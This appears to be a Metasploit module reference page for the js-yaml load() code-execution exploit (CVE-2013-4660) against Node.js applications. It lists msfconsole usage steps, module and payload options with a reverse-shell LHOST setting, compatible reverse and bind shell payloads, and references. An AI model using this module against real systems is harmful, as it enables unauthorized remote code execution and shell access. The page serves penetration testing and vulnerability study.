Nodejs js-yaml load() Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/fileformat/nodejs_js_yaml_load_code_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Nodejs js-yaml load() Code Execution
Module: exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
Source code: modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb
Disclosure date: 2013-06-28
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): nodejs
Supported platform(s): NodeJS
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-4660
This module can be used to abuse node.js applications that parse user-supplied YAML input using the load() function from the 'js-yaml' package < 2.0.5, which doesn't properly handle the unsafe !!js/function tag, allowing to specify a self-executing function which results on execution of arbitrary javascript code.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
msf exploit(nodejs_js_yaml_load_code_exec) > show targets
... a list of targets ...
msf exploit(nodejs_js_yaml_load_code_exec) > set TARGET target-id
msf exploit(nodejs_js_yaml_load_code_exec) > show options
... show and set options ...
msf exploit(nodejs_js_yaml_load_code_exec) > exploit
Go back to menu.
Msfconsole Usage
Here is how the multi/fileformat/nodejs_js_yaml_load_code_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/fileformat/nodejs_js_yaml_load_code_exec) > show info
Name: Nodejs js-yaml load() Code Execution
Module: exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
Platform: NodeJS
Arch: nodejs
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-06-28
Provided by:
Neal Poole
joev <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.yml yes The file name.
Payload information:
Description:
This module can be used to abuse node.js applications that parse
user-supplied YAML input using the load() function from the
'js-yaml' package < 2.0.5, which doesn't properly handle the unsafe
!!js/function tag, allowing to specify a self-executing function
which results on execution of arbitrary javascript code.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-4660
OSVDB (94656)
http://www.securityfocus.com/bid/60867
https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/
Module Options
This is a complete list of options available in the multi/fileformat/nodejs_js_yaml_load_code_exec exploit:
msf6 exploit(multi/fileformat/nodejs_js_yaml_load_code_exec) > show options
Module options (exploit/multi/fileformat/nodejs_js_yaml_load_code_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.yml yes The file name.
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/fileformat/nodejs_js_yaml_load_code_exec exploit:
msf6 exploit(multi/fileformat/nodejs_js_yaml_load_code_exec) > show advanced
Module advanced options (exploit/multi/fileformat/nodejs_js_yaml_load_code_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/fileformat/nodejs_js_yaml_load_code_exec module can exploit:
msf6 exploit(multi/fileformat/nodejs_js_yaml_load_code_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/fileformat/nodejs_js_yaml_load_code_exec exploit:
msf6 exploit(multi/fileformat/nodejs_js_yaml_load_code_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/nodejs/shell_bind_tcp normal No Command Shell, Bind TCP (via nodejs)
6 payload/nodejs/shell_reverse_tcp normal No Command Shell, Reverse TCP (via nodejs)
7 payload/nodejs/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via nodejs)
Evasion Options
Here is the full list of possible evasion options supported by the multi/fileformat/nodejs_js_yaml_load_code_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/fileformat/nodejs_js_yaml_load_code_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #2479 Merged Pull Request: Better fix for #2476
- #2419 Merged Pull Request: Complete information of nodejs_js_yaml_load_code_exec
- #2377 Merged Pull Request: CVE-2013-4660 and two node.js payloads
References
- CVE-2013-4660
- OSVDB (94656)
- BID-60867
- https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/
See Also
Check also the following modules related to this module:
- exploit/multi/misc/nodejs_v8_debugger
- exploit/multi/fileformat/adobe_u3d_meshcont
- exploit/multi/fileformat/archive_tar_arb_file_write
- exploit/multi/fileformat/evince_cbt_cmd_injection
- exploit/multi/fileformat/ghostscript_failed_restore
- exploit/multi/fileformat/js_unpacker_eval_injection
- exploit/multi/fileformat/libreoffice_logo_exec
- exploit/multi/fileformat/libreoffice_macro_exec
- exploit/multi/fileformat/maple_maplet
- exploit/multi/fileformat/office_word_macro
- exploit/multi/fileformat/peazip_command_injection
- exploit/multi/fileformat/swagger_param_inject
- exploit/multi/fileformat/zip_slip
- auxiliary/dos/http/nodejs_pipelining
- payload/nodejs/shell_bind_tcp
- payload/nodejs/shell_reverse_tcp
- payload/nodejs/shell_reverse_tcp_ssl
- payload/cmd/unix/bind_nodejs
- payload/cmd/unix/reverse_nodejs
- auxiliary/scanner/http/rails_json_yaml_scanner
- auxiliary/scanner/http/rails_xml_yaml_scanner
- exploit/multi/http/rails_json_yaml_code_exec
- exploit/multi/http/rails_xml_yaml_code_exec
- exploit/unix/webapp/squash_yaml_exec
Authors
- Neal Poole
- joev
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.